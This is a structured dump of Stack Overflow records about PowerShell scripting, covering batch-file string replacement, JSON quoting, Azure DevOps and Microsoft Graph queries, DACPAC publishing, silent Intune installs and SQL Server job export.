has text: Nice, though a duplicate (whose accepted answer was also written by you). The new behavior was introduced in v7.0 (https://github.com/PowerShell/PowerShell/pull/10861). A simpler alternative is mentioned in the linked duplicate, but not here: The use of `(...)` to force enumeration (e.g., `('[1,2,3,4,5]' | ConvertFrom-JSON | Measure-Object`). Conversely, this answer mentions `-NoEumerate`, while the (first) linked duplicate does not.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79110525

http://stackoverflow.com/q/79126566
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139524622
type: UnansweredQuestion
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139524840
has title: Powershell script for find/replace multiple items in a batch file
score: 1
has comment: http://stackoverflow.com/comment/139526027
tagged with: replace
has comment: http://stackoverflow.com/comment/139525900
has answer: http://stackoverflow.com/a/79129336
answer count: 2
has body: I am trying to write a powershell script that will take IP addresses (subnets) in a batch file and replace them with an updated value. I am using the following code but the replacements are not all being done correctly, some of them are just incorrect values and then they have added characters at the end. I am trying to just do a one-for-one replacement on the subnet value. Here is an example of my code: # Define the path to your batch file $batchFilePath = "C:\path\to\your\batchfile.bat" # Read the content of the batch file $batchFileContent = Get-Content -Path $batchFilePath # Define the replacements $replacements = @{ "oldString1" = "newString1" "oldString2" = "newString2" # Add more replacements as needed } # Perform the replacements foreach ($oldString in $replacements.Keys) { $batchFileContent = $batchFileContent -replace [regex]::Escape($oldString), $replacements[$oldString] } # Write the updated content back to the batch file $batchFileContent | Set-Content -Path $batchFilePath For the values "oldString1" and "newString1" these are replaced with the IP addresses accordingly. I just did not want to share that information here. Can anyone see why this would not work properly? If you need more details I am happy to provide what I can without providing any proprietary information. Thanks! see above for example code and issues encountered Adding a minimal reproduceable example: using the code below: # Define the path to your batch file $batchFilePath = "C:\path\to\your\batchfile.bat" # Read the content of the batch file $batchFileContent = Get-Content -Path $batchFilePath # Define the replacements $replacements = @{ "10.44.189" = "10.225.8" "10.44.223" = "10.225.16" # Add more replacements as needed } # Perform the replacements foreach ($oldString in $replacements.Keys) { $batchFileContent = $batchFileContent -replace [regex]::Escape($oldString), $replacements[$oldString] } # Write the updated content back to the batch file $batchFileContent | Set-Content -Path $…
type: Question
has comment: http://stackoverflow.com/comment/139526082
has answer: http://stackoverflow.com/a/79126797
has comment: http://stackoverflow.com/comment/139525845
has comment: http://stackoverflow.com/comment/139526069

http://stackoverflow.com/comment/139690593
type: QuestionComment
type: Comment
score: 1
has text: For truncating the string a simple way to do it is `RuleName = $RuleName -replace '(?<=^.{47}).+'` or `.Substring(0, 47)` if you want to keep that `Length` condition
comment on: http://stackoverflow.com/q/79216363

http://stackoverflow.com/a/79234174
type: Answer
downvote count: 1
upvote count: 0
has body: The issue arises because PowerShell handles quotes differently from CMD or other shells. When you run the script in PowerShell, it interprets the single quotes (') in the JSON string literally instead of processing them correctly as part of the string. This causes a JSONDecodeError because JSON requires keys and string values to be enclosed in double quotes ("). You can try below approaches to resolve the issue. One: Use Escaped Double Quotes: python script.py --json "{\"key\": \"value\", \"number\": 42}" Or use single quote for entire argument like below: python script.py --json '{"key": "value", "number": 42}'
answers question: http://stackoverflow.com/q/79234150
score: -1

http://stackoverflow.com/comment/139549373
type: QuestionComment
type: Comment
has text: `New-WebServiceProxy` depends on a bunch of .NET Framework-specific APIs (notably [client code in the `System.Web.Services.Discovery` namespace](https://learn.microsoft.com/en-us/dotnet/api/system.web.services.discovery.discoveryclientprotocol)), that aren't available in newer versions of .NET - hence its absence from PowerShell 7.
comment on: http://stackoverflow.com/q/79139534
score: 0

http://stackoverflow.com/a/79172792
has comment: http://stackoverflow.com/comment/139609528
answers question: http://stackoverflow.com/q/79172778
has comment: http://stackoverflow.com/comment/139613394
type: Answer
has comment: http://stackoverflow.com/comment/139610783
score: 0
has body: # Create an array of custom objects with Name, Uri, and Description properties $systems = @( [PSCustomObject]@{ Name = "System1" Uri = "https://system1.example.com" Description = "Primary application server" }, [PSCustomObject]@{ Name = "System2" Uri = "https://system2.example.com" Description = "Secondary database server" }, [PSCustomObject]@{ Name = "System3" Uri = "https://system3.example.com" Description = "Load balancer" } ) # Loop through each system and write out Name, Uri, and Description foreach ($system in $systems) { Write-Output "Name: $($system.Name)" Write-Output "URI: $($system.Uri)" Write-Output "Description: $($system.Description)" Write-Output "" }
has comment: http://stackoverflow.com/comment/139613595

http://stackoverflow.com/comment/139755894
type: QuestionComment
type: Comment
has text: Thanks @FrodeF. I have submitted the issue (see https://github.com/pester/vscode-adapter/issues/279). - I am not using any VS Code workspaces. The test files live within a sub-folder of my project folder - The same problem is happening in different projects These other projects are set up the same way (i.e. PowerShell and Pester files within a project folder). I have included this information in the submitted ticket.
comment on: http://stackoverflow.com/q/79226220
score: 1

http://stackoverflow.com/comment/139687922
type: Comment
has text: It varies with every application. If it's an msi you can do `get-package *app* | uninstall-package`. For programs something like `cmd /c $_.metadata['uninstallstring'] /s`.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79216317

http://stackoverflow.com/q/79238099
tagged with: powershell
answer count: 1
has answer: http://stackoverflow.com/a/79238148
tagged with: select-object
has title: Select-Object, then Get-Content of those documents, and extract a string as another property?
tagged with: export-csv
score: 0
type: UnansweredQuestion
tagged with: get-childitem
has body: I'm trying to create a script that will generate a CSV doc but I'm learning as I go and I'm still quite new to PowerShell. I'm not sure if it's possible to do what I need it to do in a single script (but then again, like I said, I'm new to PowerShell) I need the script to: recursively iterate through all PHP docs (main folder and all subfolders) grab some of the normal properties (Name, Extension, FullName, and LastWriteTime) Get-Content of each file in each directory and sub-directory (except for a single sub-directory) Select-String from that content (matching two different patterns) The documents have page titles in either English or French, so the string patterns will correspond to either "short_title_eng = title" or "short_title_fra = titre" I need to set a delimiter as "=" so I can determine the page language and the proper title in the CSV Convert it so that those new properties can go into a CSV Export all of the properties (Name, Extension, FullName, LastWritetime, TitleLanguage[custom], and Title[custom]) into a single CSV The closest that I have are two separate scripts, but I can't figure out how I could combine them (if possible) and have consistent, good results. This works consistently and produces a CSV that shows the specified properties Get-ChildItem C:\dev\docs\ -File -Recurse -include *.php | Select-Object -Property Name, Extension, Fullname, LastWriteTime | Export-Csv -append -Path C:\TEMP\PHPdocsTest.csv This returns a CSV table properly: Name Extension FullName LastWriteTime covid-arch-eng.php .php C:\dev\docs\archives\covid-arch-eng.php 22/04/2021 12:35:51 PM covid-arch-fra.php .php C:\dev\docs\archives\covid-arch-fra.php 22/04/2021 12:37:15 PM This works consistently and produces a CSV that shows the custom "Titles" column, but nothing else Get-ChildItem Z:\dev\docs\ -File -Recurse -include *.php | % { (Get-Content -Path $_.FullName | Select-String -pattern 'short_title_eng', 'short_title_fra' -SimpleMatch -encoding UTF8) | ConvertFrom-Strin…
type: Question

http://stackoverflow.com/comment/139609863
type: Comment
comment on: http://stackoverflow.com/q/79172648
score: 0
has text: @SantiagoSquarzon Nice! At first glance `CommandA | % -Parallel { $_ } -ThrottleLimit 10 | CommandB` is indeed what I'm looking for, if you'd like to write and answer it looks like a winner :)
type: QuestionComment

http://stackoverflow.com/comment/139527646
type: QuestionComment
type: Comment
has text: @jdweng Any item in particular I should be looking at on this page? I'd checked this page recently and did not find anything that seemed to cover this issue.
score: 1
comment on: http://stackoverflow.com/q/79128284

http://stackoverflow.com/q/79085917
linked to: http://stackoverflow.com/q/24745868
has comment: http://stackoverflow.com/comment/139449823
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139449988
has comment: http://stackoverflow.com/comment/139450426
has comment: http://stackoverflow.com/comment/139449974
tagged with: databricks
has comment: http://stackoverflow.com/comment/139449998
tagged with: databricks-cli
type: Question
duplicate of: http://stackoverflow.com/q/24745868
answer count: 0
tagged with: http://stackoverflow.com/tag/json
has title: Databricks jobs submit fails with Error: invalid character 't' looking for beginning of object key string
has body: I'm trying to run a Databricks notebook via PowerShell in Azure DevOps. All of the variables below are properly read. I'm trying to format the JSON in 2 ways since I'm not sure which syntax is correct. I'm getting similar errors even though the payload seems to look fine when being printed. JSON format 1: $jsonObject = @{ run_name = "Triggered via PowerShell" existing_cluster_id = $CLUSTER_ID notebook_task = @{ notebook_path = $NOTEBOOK_PATH } } $jsonPayload = $jsonObject | ConvertTo-Json -Compress Write-Host $jsonPayload try { $response = databricks jobs submit --json $jsonPayload } catch { Write-Error "Failed to submit notebook run. Error: $_" exit 1 } $jsonPayload returns: {"run_name":"Triggered via PowerShell","notebook_task":{"notebook_path":"/tests/utilities/tests"},"existing_cluster_id":"xxx"} Error message: Error: invalid character 'r' looking for beginning of object key string Format 2: $jsonObject = @{ tasks = @( @{ existing_cluster_id = $CLUSTER_ID notebook_task = @{ notebook_path = $NOTEBOOK_PATH } } ) } $jsonPayload = $jsonObject | ConvertTo-Json -Compress -Depth 10 Write-Host "Submitting the following payload to Databricks:" Write-Host $jsonPayload echo $jsonPayload try { $response = databricks jobs submit --json $jsonPayload } catch { Write-Error "Failed to submit notebook run. Error: $_" exit 1 $jsonPayload returns: {"tasks":[{"notebook_task":{"notebook_path":"/tests/utilities/tests"},"existing_cluster_id":"xxx"}]} Error: invalid character 't' looking for beginning of object key string Databricks CLI v0.221.0 How can I modify the JSON to work with databricks jobs submit?
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/139422064
has text: When using Powershell 7.x, it's possible to skip using `Select-item` by using only `Sort-Object -Property CreationTime -Descending -Top 1`
type: AnswerComment
comment on: http://stackoverflow.com/a/79070500
score: 2
type: Comment

unicode
tags question: http://stackoverflow.com/q/79196973
tag name: unicode
type: Tag
tags question: http://stackoverflow.com/q/79381754
tags question: http://stackoverflow.com/q/79304087
tags question: http://stackoverflow.com/q/79345034

unattended-processing
type: Tag
tag name: unattended-processing
tags question: http://stackoverflow.com/q/79194193

http://stackoverflow.com/comment/139518860
type: QuestionComment
comment on: http://stackoverflow.com/q/79122136
type: Comment
has text: In my case, after I get the values from TFS only -nomatch is working... but I do not understand how all the questions here about the tag. I asked about the logic that I think is working in my last code. please do not refer to the tag!!! only for the logic for the patch and the corresponding user. Thanks
score: 0

http://stackoverflow.com/comment/139476841
type: AnswerComment
comment on: http://stackoverflow.com/a/79097057
has text: Hello@venkatesan Thanks for your assistance finally we are able to debug the error and able to complete our operation.It works
type: Comment
score: 0

http://stackoverflow.com/comment/139547671
type: Comment
score: 0
has text: Did you run the same scripts shared by me? It works fine from my side. - "Visual Studio Code shows me one problem, namely : The variable 'scopes' is assigned but never used." This isn't related to the issue. I don't pass `$scopes` to `Connect-MgGraph` and it will have the expected result if I pass it to `Connect-MgGraph`. Currently, you don't get any result from Azure DevOps REST API User Entitlements - List, but `-scope` is used for connecting to Azure Tenant, so that it has nothing to do with his issue.
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466

http://stackoverflow.com/a/79205181
has comment: http://stackoverflow.com/comment/139704595
has body: After a lot of searching I finally found what I needed. $ItemID = $Listitem.Id $ListitemConnection = Get-MgSiteListItem -SiteId $siteId -ListId $listId -ListItemId $ItemId -ExpandProperty "fields" -Property * $ListitemDetails = $ListitemConnection.Fields.AdditionalProperties $BuyerID = $ListitemDetails.BuyerLookupId # Get the User Information List $UserList = Get-MgSiteList -SiteId $SiteID -Filter "DisplayName eq 'User Information List'" -Select Id # Get the user details using the LookupId $User = Get-MgSiteListItem -SiteId $SiteID -ListId $UserList.Id -ListItemId $BuyerID -Select "fields" -ExpandProperty "fields" # Extract the email address $BuyerEmail = $User.Fields.AdditionalProperties.UserName
answers question: http://stackoverflow.com/q/79205090
type: Answer
score: 0

http://stackoverflow.com/comment/139615416
score: 0
type: AnswerComment
has text: But as you can see, there is no option there that would differentiate the color of the selected text in the input line and the interactive menu. Like if I change the `SelectionColor`, it would change both instead of one of them.
type: Comment
comment on: http://stackoverflow.com/a/79169600

http://stackoverflow.com/comment/139472633
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79098114
has text: Try outputting more exception details, as mentioned in https://stackoverflow.com/questions/38419325/catching-full-exception-message

http://stackoverflow.com/q/79125853
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139523089
type: UnansweredQuestion
tagged with: azure
has answer: http://stackoverflow.com/a/79132466
has body: I'm trying to write a PowerShell script to list all users with direct assignments in Azure DevOps, excluding certain technical accounts. The script should also retrieve their managers' email addresses from Azure AD. However, the script isn't returning the expected results. What I'm Trying to Achieve: Fetch users with direct assignments (assignmentSource equals "direct") in Azure DevOps. Exclude specific users (technical accounts) from the list. Retrieve each user's manager's email address from Azure AD. Output the list of user email addresses and their managers. My Current Script: # Variables $organization = "org-name" $azureDevOpsPat = "your-azure-devops-pat" # PAT with full access $tenantId = "your-tenant-id" $clientId = "your-client-id" $excludedUsers = @( "example1@org.com", "example2@org.com", "example3@org.com" ) # Scopes for Microsoft Graph $scopes = @("User.Read.All", "Directory.Read.All") # Connect to Microsoft Graph Connect-MgGraph -ClientId $clientId -TenantId $tenantId -Scopes $scopes -DeviceCode # Azure DevOps API Endpoint $devOpsApiUrl = "https://vsaex.dev.azure.com/$organization/_apis/userentitlements?api-version=7.0" # Prepare Azure DevOps API Headers $devOpsHeaders = @{ Authorization = ("Basic {0}" -f [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$azureDevOpsPat"))) "Content-Type" = "application/json" } # Fetch user entitlements from Azure DevOps $devOpsResponse = Invoke-RestMethod -Uri $devOpsApiUrl -Headers $devOpsHeaders -Method Get # Check if the response contains any users if ($devOpsResponse.count -gt 0) { # Include all users with direct assignments $directUsers = $devOpsResponse.value | Where-Object { $_.accessLevel.assignmentSource -eq "direct" } foreach ($user in $directUsers) { $userEmail = $user.user.mailAddress $userPrincipalName = $user.user.principalName # Get user identifier for exclusion check (UPN or Email) $userIdentifier = if ($userPrincipalName) { $userPrincipalName } else { $userEmail } # Check if the user is in th…
score: 0
has comment: http://stackoverflow.com/comment/139523154
has title: PowerShell Script to List Azure DevOps Users with Direct Assignments Not Returning Expected Results
type: Question
tagged with: azure-devops

http://stackoverflow.com/q/79224704
score: 2
upvote count: 2
tagged with: sql-server
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139708141
answer count: 1
type: AnsweredQuestion
tagged with: dacpac
tagged with: sqlpackage
accepted answer: http://stackoverflow.com/a/79243776
has title: How can I exclude a Login's default database setting in DACPAC Publish
favorite count: 0
has body: I am writing a Powershell script to create a SQL Server dacpac file from our QA database and publish it to the local db. I am using SQLPackage.exe. When I publish, I am getting an error: Could not deploy package. Error SQL72014: Core Microsoft SqlClient Data Provider: Msg 15010, Level 16, State 1, Line 1 The database 'ESIncome' does not exist. Supply a valid database name. To see available databases, use sys.databases. Error SQL72045: Script execution error. The executed script: CREATE LOGIN [Domain\sg.AllApplicationDevelopers] FROM WINDOWS WITH DEFAULT_DATABASE = [ESIncome], DEFAULT_LANGUAGE = [us_english]; This error happens because the loginDomain\sg.AllApplicationDevelopers has a default db set to ESIncome and that db doesn't exist in our local server (and I can't import it). Is there a way to not set the user's default db or to ignore this error? I tried using the Publish option "/p:ExcludeObjectTypes=Logins;ServerRoleMembership;ServerRoles;Credentials;Rolemembership;DatabaseRoles;Users" but that causes other problems. (I'm not inclined to describe those problems because that would take us down a different rabbit hole and confuse the situation.) Suffice it to say its simpler if the Users are included. I created a sql script using Action:/Script. It sets the same default db. Here is the PS script $dacpacFile = "eServices.dacpac" $sourceServer = "STG-SQL01" $sourceDatabase = "eServices" $targetServer = "localhost\SQLEXPRESS" $targetDatabase = "eServices" $sqlpackage = "C:\Users\<username>\.dotnet\tools\sqlpackage.exe" Write-Host "Generating Dacpac file..." -ForegroundColor Green $sourceConnectionString = "Server=$sourceServer;Database=$sourceDatabase;Encrypt=False; Integrated Security=SSPI;" $arguments = "/Action:""Extract""", "/SourceConnectionString:""$sourceConnectionString""", "/TargetFile:""./$dacpacFile""" $arguments & $sqlpackage $arguments if($(Write-Host "Publish to '$targetServer'? Y / N: " -NoNewline -ForegroundColor Green; Read-Host) -eq 'y') { Write-…
has answer: http://stackoverflow.com/a/79243776
type: Question
has comment: http://stackoverflow.com/comment/139708677

http://stackoverflow.com/q/79194193
tagged with: windows
answer count: 0
tagged with: unattended-processing
tagged with: powershell
type: UnansweredQuestion
tagged with: intune
score: 0
has body: My company has recently gone 100% virtual and need a way to install N-Able's TakeControl via Intune through an .intunewin package. The script will execute per device, while installing program. Here's our setup: Our employees are using Dell Optiplex 7000 MFF as Thin Clients into a W365 CPC. Whenever an employee has a problem, we've been using Quick Assist. However, this option doesn't show the local PC settings. I have installed the N-Able TakeControl onto a Thin Client test unit I have, however, there is a pop-up at the end that needs to be confirmed with either yes or no. In order for this application to fully install, the Yes option must be clicked. Here is what I have already written, as my powershell scripting ins't the best. If there is a simpler way to do this, I'm open to all suggestions. # Self-elevate the script if required If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] &quot;Administrator&quot;)) { $arguments = &quot;&amp;amp; '&quot; + $myinvocation.mycommand.definition + &quot;'&quot; Start-Process powershell -Verb runAs -ArgumentList $arguments Break } # Verify C:\programdata\logs if (!(test-path &quot;C:\programdata\logs&quot;)) { New-Item -ItemType Directory -path &quot;C:\programdata\logs&quot; -force } # Set variables $ScriptRoot = Split-Path -Path $MyInvocation.MyCommand.Path # Install BAManagement Start-Process -FilePath msiexec.exe -ArgumentList &quot;/i $ScriptRoot\BAManagement.msi /qn /l C:\programdata\logs\InstallBAMmanagement.log&quot; I have tested the script on my test machine, program installs but still prompts to select either Yes or No. Problem I have, all our employees are remote and this needs to be installed without user intervention. How do I write the installation script to select Yes on first run? I found this post from 11 years ago, MSIEXEC not installing an MSI setup if /QUIET parameter is used to suppress the UI, but this doesn't…
tagged with: mdm
type: Question
linked to: http://stackoverflow.com/q/17695511
has title: Installing via intunewin package - specifc program with powershell script

http://stackoverflow.com/q/79111442
has body: I want to extract the code from my Jobs (ETL) from my SQL Server 2014, which are in SQL Server Agent -&gt; Jobs. I currently have more than 400, is there a faster way than entering each one and saving the code? I have tried various codes from ChatGPT or Gemini and it does not work, it does not show me the codes that I have in each Job (ETL) DECLARE @jobname sysname, @filename varchar(255), @job_id uniqueidentifier, @sql nvarchar(max); DECLARE job_cursor CURSOR FOR SELECT name, job_id FROM msdb.dbo.sysjobs; OPEN job_cursor; FETCH NEXT FROM job_cursor INTO @jobname, @job_id; WHILE @@FETCH_STATUS = 0 BEGIN SET @filename = CONCAT('C:\Scripts\Jobs\', @jobname, '.sql'); -- Construct the command to generate the script of the job SET @sql = 'EXEC msdb.dbo.sp_helpjob @job_id = ''' + CAST(@job_id AS varchar(36)) + ''';'; -- Execute the command and redirect the output to a file, using Windows authentication EXEC xp_cmdshell CONCAT('sqlcmd -S your_server_name -d msdb -Q &quot;', @sql, '&quot; -o &quot;', @filename, '&quot;'); FETCH NEXT FROM job_cursor INTO @jobname, @job_id; END CLOSE job_cursor; DEALLOCATE job_cursor;
score: 0
has comment: http://stackoverflow.com/comment/139496415
tagged with: sql-server-2014
type: UnansweredQuestion
has title: How to extract ETL (Jobs) from SQL Server Management Studio
has answer: http://stackoverflow.com/a/79265201
type: Question
answer count: 1
tagged with: sql-server
has comment: http://stackoverflow.com/comment/139496368
has comment: http://stackoverflow.com/comment/139496456
tagged with: powershell
has comment: http://stackoverflow.com/comment/139496364
tagged with: ssms

http://stackoverflow.com/comment/139720437
comment on: http://stackoverflow.com/q/79227225
type: QuestionComment
type: Comment
has text: That's fine @mklement, I have no issue with the fact that you, or anyone else, may misinterpret something I typed. But rest assured that the ensuing comments make it clear that I did not use the term 'should' to imply a compulsory action.
score: 0

http://stackoverflow.com/comment/139512441
type: QuestionComment
type: Comment
has text: 1. Please share the completed YAML of your pipeline. 2. Please [enable verbose logs](https://learn.microsoft.com/en-us/azure/devops/pipelines/troubleshooting/review-logs?view=azure-devops&tabs=windows-agent#configure-verbose-logs) and trigger the pipeline again, then share the detailed error message. Please don't only share the screenshot of the error.
comment on: http://stackoverflow.com/q/79117140
score: 0

http://stackoverflow.com/a/79141667
has body: You can expand on .ChildNodes.InnerText in this case: $xml.Settings.ChildNodes.InnerText # Outputs: # ElemValue1 # ElemValue2 Another option using SelectNodes() could be: $xml.SelectNodes('/Settings/*/text()').Value
score: 0
answers question: http://stackoverflow.com/q/79141636
type: Answer

http://stackoverflow.com/a/79110474
type: Answer
score: 2
has body: You can use icacls.exe to display or modify discretionary access control lists (DACLs) on specified files. Create a batch file like file_permissions.bat and paste following @echo off for /f "tokens=*" %%a in ('dir /b /s /o') do ( icacls "%%a" >> access_list.txt ) Does this help?
answers question: http://stackoverflow.com/q/79110424
has comment: http://stackoverflow.com/comment/139503649
has comment: http://stackoverflow.com/comment/139495380
upvote count: 2
downvote count: 0

string
tag name: string
tags question: http://stackoverflow.com/q/79097282
tags question: http://stackoverflow.com/q/79162738
tags question: http://stackoverflow.com/q/79138278
tags question: http://stackoverflow.com/q/79201033
type: Tag
tags question: http://stackoverflow.com/q/79174170
tags question: http://stackoverflow.com/q/79359686
tags question: http://stackoverflow.com/q/79422309

http://stackoverflow.com/q/79089859
has comment: http://stackoverflow.com/comment/139457394
type: AnsweredQuestion
downvote count: 1
has comment: http://stackoverflow.com/comment/139457386
has title: How to call a C# DLL with custom type input from Powershell
favorite count: 0
accepted answer: http://stackoverflow.com/a/79089905
has comment: http://stackoverflow.com/comment/139457381
score: 1
has answer: http://stackoverflow.com/a/79089905
has comment: http://stackoverflow.com/comment/139457346
type: Question
has comment: http://stackoverflow.com/comment/139457371
has comment: http://stackoverflow.com/comment/139457330
answer count: 1
has body: Let us say I have a C# DLL which contains a class AdditionLibrary as below namespace AdditionLibrary { public static class AdditionOperation { public static int Add(int a, int b) { return a + b; } public struct AddNumbers { public int a; public int b; } public static int AddNum(AddNumbers addNum) { return addNum.a + addNum.b; } } } I want to call Add & AddNum methods of this class from powershell. I can easily call Add method since it is POD data type (int) like below from powershell. Add-Type -Path "AdditionLibrary.dll" $result = [AdditionLibrary.AdditionOperation]::Add(100,200) How to call AddNum method which requires custom type AddNumbers? Can it be possible without embedding code inside powershell like below & call through invoke-expression ? Add-Type -TypeDefinition $code -Language CSharp I do not know how to create instance of AddNumbers in powershell and pass that as a parameter to C# DLL.
upvote count: 2
tagged with: c#
has comment: http://stackoverflow.com/comment/139457288
tagged with: powershell

http://stackoverflow.com/comment/139612165
type: AnswerComment
has text: Thank you Mathias, working as expected!, cheers!.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79174200

http://stackoverflow.com/q/79197594
has answer: http://stackoverflow.com/a/79199611
tagged with: security
tagged with: event-viewer
tagged with: powershell
has title: Windows removable media event id 4656 not reporting all information
tagged with: audit
score: 0
type: UnansweredQuestion
has body: I am using PowerShell to generate a removable media report. I have all the advanced auditing setup and it is working as expected except for one item I can't figure out. I have a thumb drive plugged in, then I create a new folder. When I gather 4656 (and 4663) events, there is a 4656 event generated for the "New Folder", however, the object name does not contain the name of the actual folder created, it simply states "New Folder". I am looking for the actual folder created. Here is a sample of what is returned in the event for the Object Created: Object Name: \Device\HarddiskVolume3\Temp\New folder There are no events generated that contain that actual folder name (that I can find), they simply state "New Folder". Is there another event I need to correlate this with? I have converted the returned events to XML and still cant find the actual folder name anywhere. Thanks in advance for any help you can provide.
tagged with: windows
answer count: 2
has answer: http://stackoverflow.com/a/79200891
type: Question

http://stackoverflow.com/comment/139422988
type: QuestionComment
type: Comment
has text: This works for me: `Get-ChildItem | Format-Wide -Property NameString` or just `Get-ChildItem | Format-Wide NameString`
score: 5
comment on: http://stackoverflow.com/q/79069816

http://stackoverflow.com/comment/139503483
comment on: http://stackoverflow.com/a/79112558
type: AnswerComment
has text: Cool. Thank you. I will add that functionality (elsewhere), as I also noticed it doesn't catch the icons for all file types.
type: Comment
score: 0

http://stackoverflow.com/comment/139433239
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79074595
has text: @Charlieface Apologies for the typo. I've updated the script and ran it to get the output too.

http://stackoverflow.com/comment/139431475
score: 0
has text: You should definitely approach this problem with `ConvertFrom-Json` instead of regex. It's unclear your expected output. Provide a sample of the output you expect from a sample input (the AP / Bssid values)
comment on: http://stackoverflow.com/q/79075877
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139435320
score: 2
has text: I quess this has something to do with [Displaying Unicode in PowerShell](https://stackoverflow.com/a/49481797/1701026), try to set: `$OutputEncoding = [Console]::InputEncoding = [Console]::OutputEncoding = New-Object System.Text.UTF8Encoding ` first.
type: Comment
comment on: http://stackoverflow.com/q/79077815
type: QuestionComment

http://stackoverflow.com/comment/139720282
type: QuestionComment
type: Comment
has text: This issue only happens in Windows PowerShell, there you can do `python script.py --json '{"key": "value", "number": 42}'.Replace('"', '\"')` and it should work. In pwsh 7 as you have it right now it would work just fine.
score: 0
comment on: http://stackoverflow.com/q/79234150

http://stackoverflow.com/comment/139431532
score: 0
comment on: http://stackoverflow.com/q/79075877
type: QuestionComment
type: Comment
has text: this was another variation of an unsuccessful attempt of using ConvertFrom-Json where we were looking to figure things out. #$ESSID = (Get-content $FileName -Raw) | convertFrom-Json #$filterItems = $ESSID.items | Where-Object {$_.name -ne $null} | #Get-childItem ?? #$ESSID.psobject.properties.name

http://stackoverflow.com/comment/139512411
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79120176
type: AnswerComment
has text: Alternatively there may be a way to do this using `Get-CimInstance` - I've just answered why you're getting the null value error

http://stackoverflow.com/a/79096732
has body: This error occurs because of a version mismatch between your PowerShell environment and the System.Diagnostics.DiagnosticSource assembly that Connect-AzAccount relies on. You can just update your PowerShell module Update-Module -Name Az -Force Now check again (as you can see this is now updated from 5.1.17763.6292 to 5.1.26100.1882) and then login using the -DeviceCode parameter to authenticate via device code Connect-AzAccount -DeviceCode You can always reinstall for a clean slate Uninstall-Module -Name Az Install-Module -Name Az or if possible, try running in PS 7, as it has better compatibility with the Az module. References: Troubleshooting the Az PowerShell module Troubleshoot development environment authentication
type: Answer
answers question: http://stackoverflow.com/q/79096023
score: 0
has comment: http://stackoverflow.com/comment/139489614

http://stackoverflow.com/q/79091983
has title: Creating an Entra ID group that allows PIM Microsoft Entra roles
score: 0
tagged with: azure-active-directory
has comment: http://stackoverflow.com/comment/139462923
type: UnansweredQuestion
has body: I have got the snippet of code below. The objective is to create a group that allows Microsoft Entra roles to be assigned to the group. The snippet below creates the group, however it doesnt work with entra ID role assignment for PIM. New-MgGroup -DisplayName $groupfullname -MailNickName $groupfullname -MailEnabled:$false -SecurityEnabled -IsAssignableToRole:$true I find that if I create the group using the PowerShell code below, the group gets created, I find that any user that gets added to the group after assigning an Entra/Azure resource role to the group gets such roles permanently rather than via the privilege identity management solution. If I create the group manually, it works as expected i.e via PIM role assignment etc.
has comment: http://stackoverflow.com/comment/139470272
has comment: http://stackoverflow.com/comment/139474061
has answer: http://stackoverflow.com/a/79109617
type: Question
tagged with: powershell
answer count: 1

http://stackoverflow.com/comment/139468095
score: 1
type: AnswerComment
has text: If that’s the case then you should accept their answer. They did all that work to answer your question and should be rewarded.
comment on: http://stackoverflow.com/a/79094419
type: Comment

http://stackoverflow.com/comment/139504118
has text: My code came from here https://stackoverflow.com/questions/75030298/deleting-folders-with-powershell-recursively-issue
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79115375

http://stackoverflow.com/comment/139680705
has text: Nicely done. As an aside, I just discovered inconsistent enumeration behavior with `.HyperLinks` (doesn't affect your answer, due to use of `ForEach-Object`); see [GitHub issue #24611](https://github.com/PowerShell/PowerShell/issues/24611)
type: Comment
comment on: http://stackoverflow.com/a/79212071
type: AnswerComment
score: 1

azure-devops
tag name: azure-devops
tags question: http://stackoverflow.com/q/79163395
type: Tag
tags question: http://stackoverflow.com/q/79098114
tags question: http://stackoverflow.com/q/79097075
tags question: http://stackoverflow.com/q/79079754
tags question: http://stackoverflow.com/q/79117140
tags question: http://stackoverflow.com/q/79176549
tags question: http://stackoverflow.com/q/79111831
tags question: http://stackoverflow.com/q/79208253
tags question: http://stackoverflow.com/q/79213119
tags question: http://stackoverflow.com/q/79125853
tags question: http://stackoverflow.com/q/79399774
tags question: http://stackoverflow.com/q/79335299
tags question: http://stackoverflow.com/q/79278526
tags question: http://stackoverflow.com/q/79343590
tags question: http://stackoverflow.com/q/79375196
tags question: http://stackoverflow.com/q/79275937
tags question: http://stackoverflow.com/q/79269077
tags question: http://stackoverflow.com/q/79297824
tags question: http://stackoverflow.com/q/79245262
tags question: http://stackoverflow.com/q/79401658
tags question: http://stackoverflow.com/q/79391481
tags question: http://stackoverflow.com/q/79490105
tags question: http://stackoverflow.com/q/79507780
tags question: http://stackoverflow.com/q/79525364
tags question: http://stackoverflow.com/q/79547166
tags question: http://stackoverflow.com/q/79491111
tags question: http://stackoverflow.com/q/79441468
tags question: http://stackoverflow.com/q/79487277
tags question: http://stackoverflow.com/q/79498342
tags question: http://stackoverflow.com/q/79484001
tags question: http://stackoverflow.com/q/79483185
tags question: http://stackoverflow.com/q/79537084
tags question: http://stackoverflow.com/q/79505588

http://stackoverflow.com/comment/139665663
comment on: http://stackoverflow.com/q/79201535
type: QuestionComment
type: Comment
has text: Two asides: To better align with PowerShell's naming conventions, `Get-My-PlainText` should be `Get-MyPlainText`; a simpler version of your function body would be `[pscredential]::new('unused', $SecureString).GetNetworkCredential().Password`
score: 0

http://stackoverflow.com/q/79215078
tagged with: powershell
tagged with: terminal
has answer: http://stackoverflow.com/a/79215114
score: 0
tagged with: oh-my-posh
type: UnansweredQuestion
has title: How to remove highlighting of folders from oh-my-posh?
tagged with: directory
